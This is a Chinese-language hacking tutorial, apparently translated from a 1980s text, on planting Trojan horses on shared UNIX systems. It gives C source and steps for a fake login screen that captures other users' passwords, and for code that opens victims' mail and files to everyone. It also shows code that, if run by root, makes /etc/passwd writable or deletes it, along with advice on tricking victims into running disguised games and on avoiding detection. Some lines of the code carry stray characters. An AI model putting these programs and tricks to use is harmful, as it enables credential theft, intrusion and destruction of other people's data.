| UNIX下的特洛伊木马
“UNIX安全”是种矛盾的说法。UNIX系统是很容易就可以用暴力法攻破,因为大多数UNIX系统并没有设置登录次数限制,而且还有诸如root、bin、sys、uucp等缺省用户。一旦进入了系统,就很容易获得系统控制权。如果懂得C语言,你甚至可以使系统为你工作,完全除去系统的安全屏障,建立自已的帐号,读取别人的文件,等等。这些事情都可以通过本文中简单的C语言代码来实现。
需求:
首先,你需要有一个有效的UNIX系统帐号。如果该UNIX系统是运行在如PDP/11、VAX、Pyramid等机器上的相对简单的UNIX系统(如4.2bsd或AT&T
System V等),则则会获得很好的效果。如果你在学校拥有一个基于这些系统的帐号,那就再好不过了。
注释:
本文的起因是1986年4月刊登的一篇题目为“UNIX安全”的文章。在这篇文章中,作者说到:“我们希望,我们所提供的资料在一定程度上引起人们的兴趣和避免UNIX过于容易成为“骇客们的食谱”。因此我们有意省略了某些细节。”于是我根据这篇文章的大纲,按照其中谈到的方法,编写出以下清晰完整的例子。
实例一:骗取密码
只要有一点UNIX和C知识,你会发现做到这一点根本不难。但是,你首先必须有权访问一台许多人都可以使用的计算机,如学校中的公用计算机。
当登录到一个UNIX系统时,会出现类似以下内容的屏幕:
Tiburon Systems 4.2bsd / System V (shark) login: shark
Password: (无回显)
以下程序模拟了一个登录过程。你在终端上运行该程序后就离开。那些无知的“笨蛋”会上来输入他们的帐号和密码,这些都会保存在一个文件里。然后屏幕显示“login
incorrect”(登录错误),并要求这个“笨蛋”再次登录。这一次才是真正的登录程序,当然会成功登录了(真是一群“笨蛋”)。
把以下程序代码输入名为“horse.c”的文件中。注意,你需要针对不同系统的显示更改程序的前8行。
----- Code Begins Here -----
/* this is what a 'C' comment looks like. You can leave them out. */
/* #define's are like macros you can use for configuration. */
#define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
/* The above string should be made to look like the message that your
* system prints when ready. Each \n represents a carriage return.
*/
#define LOGIN "login: "
/* The above is the login prompt. You shouldn't have to change it
* unless you're running some strange version of UNIX.
*/
#define PASSWORD "password:"
/* The above is the password prompt. You shouldn't have to change
* it, either.
*/
#define WAIT 2
/* The numerical value assigned to WAIT is the delay you get after
* "password:" and before "login incorrect." Change it (0 = almost
* no delay, 5 = LONG delay) so it looks like your system's delay.
* realism is the key here - we don't want our target to become
* suspicious.
*/
#define INCORRECT "Login incorrect.\n"
/* Change the above so it is what your system says when an incorrect
* login is given. You shouldn't have to change it.
*/
#define FILENAME "stuff"
/* FILENAME is the name of the file that the hacked passwords will
* be put into automatically. 'stuff' is a perfectly good name.
*/
/* Don't change the rest of the program unless there is a need to
* and you know 'C'.
*/
#include <curses.h>
#include <signal.h>
int stop();
main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);
if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
#fprintf(fp,"login %s has password %s\n",name,password);
#fclose(fp);
#}
printf(INCORRECT);
endwin();
}
stop()
{
endwin();
exit(0);
}
----- Source Ends Here -----
OK,正如我所说的,输入以上代码,并修改它,使它看起来与真正的登录过程完全一致。编译horse.c文件。( % 不必输入,它只是系统提示符。)
% cc horse.c -lcurses -ltermcap
% mv a.out horse
现在你已有了可执行文件horse。运行它,如果所显示的内容与真正的登录过程不一样,便重新编辑horse.c源程序,并重新编译。在使用木马程序前,建立名为trap(或者其他名字)的文件,内容如下:
horse (运行木马程序)
login (运行系统登录程序)
执行trap文件:
% source trap (重复:不要输入 %)
然后离开终端...
程序运行几次后,检查stuff文件(或者你定义的任何文件),其内容应类似如下:
user john has password secret
user mary has password smegma
etc.
记录下这些帐号和密码,然后删除这个文件。(否则,如果超级用户看到这个文件,你可就危险了。)
注:为了取得更好的效果,终端最好设置为在一定时间内无用户登录便退出。这样,即使无人使用该终端,木马程序也不会空运行漫长的14小时(或更长)了。
下一个实例运行在一个远程系统上,如你已成功侵入的诸如Michigan的VAX、Dratmouth的UNIX等系统。然而,它要求UNIX初学者具有一定的C语言知识。
实例二:读取他人文件
当用户运行一个程序的时候,他们就是被创建进程的拥有者,程序便可以做出任何不超越其权限的事情,如删除文件,创建文件,并赋予他人访问的权限等。
当用户在UNIX系统上保存邮件时,邮件被保存在用户根目录下的mbox文件中。在缺省情况下,该文件仅能由用户读取。下面的小程序可以解锁运行此程序的用户mbox文件(如使用chmod
777命令,即允许系统中的任意用户拥有完全访问权限):
----- Code Begins Here -----
#include <pwd.h>
struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];
main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
system(buf);
}
}
----- Code Ends Here -----
现在,问题是:怎样才能让攻击目标运行这个程序呢?
如果系统有发布消息的功能(如4.xbsd中的msgs命令),你可以将程序发布出去。到UNIX
WORLD等杂志上找一个工具或游戏程序,并将以上代码插入到程序里。例如,你有一个tic-tac-toe程序,并已将木马代码放入tic-tac-toe程序真正运行的代码之前,你便可以发布“我有一个新的tic-tac-toe程序,你们可以测试它,可在我的目录下找到它。”之类的消息。你也可以单独向你的欺骗目标发出类似的邮件。
如果你找不到一个程序可以插入木马,也可以在以上代码最后两个}间插入以下代码:
printf("Error opening tic-tac-toe data file. Sorry!\n");
当此程序运行,它将显示以上错误信息。用户就会想:“嗯,这小子连这么简单的
tic-tac-toe程序都不会写!”但其实可笑的是他——你现在已经可以读取他的邮件了。
如果你想读取某个用户目录下的特定文件(例如“secret”),只要向这个用户投寄以下程序:
main()
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}
然后与他“交谈”或通信,象Joe Loser所说的:“我刚写了一个super_star-wars程序,你愿意测试一下吗?”
无论你希望何人运行某一命令,都不是一件难事,只要把他放进C程序中的system()函数,然后诱骗他运行这个程序!
下面是利用以上技术的一些用法:
实例三:成为超级用户
写一个让别人运行的程序,插入下面代码:
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
该代码检查root用户是否在运行本程序。如是,你便可以利用他的权限执行你所希望的命令了(只要将whatever you
want改为该命令即可)。以下是常用的命令:
"chmod 666 /etc/passwd"
/etc/passwd是系统密码文件,只有root用户可以读写,在一般情况下,其他用户只能读(密码是经加密的)。如你不清楚其结构格式,可以查看它。上面的命令使你也可以读写该文件——如为自己和朋友建立无权限限制的帐号。
"chmod 666 /etc/group"
通过把自己加入某些具有高级权限的组,你便可以为所欲为了。
"chmod 666 /usr/lib/uucp/L.sys"
检查这个文件确定这个系统是否在UUCP(UNIX-UNIX CONNECTION
PROTOCOL)网络上。此文件包含了访问网络中其他系统的拨号用户和密码,以一般情况下,只有UUCP管理员能读取它。找到UUCP管理员帐号并诱使其在不知情的情况下运行以上代码,你便可以读取它了。
"rm /etc/passwd"
如果你诱使root用户运行这行代码,就会删除系统密码文件,此系统将停机,并且不能再次运行了。这是具有相当破坏力的。
当你准备向系统放置特洛伊木马,有几条规则应该注意。
如果隐蔽性是主要的,(如侵入用户邮箱或删除他的所有文件等,)那么这个程序不应该被过多地执行(如一个流行的电脑游戏)——一旦用户发现他们的文件被允许完全访问,那么他是比较容易找到原因的。为了加强木马的隐蔽性,程序应该表明为“测试”程序(比如你正在编写的游戏),并且请求个别人运行它,并与他们“交流”意见(只是为了欺骗他们)。正如我所说的,“测试”程序在完成其任务后,可以显示虚假的错误消息。你便可以对他们说:“唉呀,我想我要继续修改它。”在他们离开后,你便可以读取已被你解锁的文件了。
如果木马程序的主要目的是捕捉运行此程序的特定用户——如root或其他高级用户,你就应该把木马程序代码放入可被系统中绝大多数用户频繁执行的程序里。因为木马程序在特定用户运行前是隐匿的。
如果你发现C语言代码很难理解,你就必须从PASCAL语言等转变过来并学会C语言。这种情况不会有损C语言作为一种伟大的编程语言。
以上我们已经看到在UNIX系统上怎样做了。一旦你捕捉到了root用户(如你可以修/etc/passwd
文件),就要从特洛伊木马程序中删除有关欺骗的代码,这样你就永远不会被捉住了。 |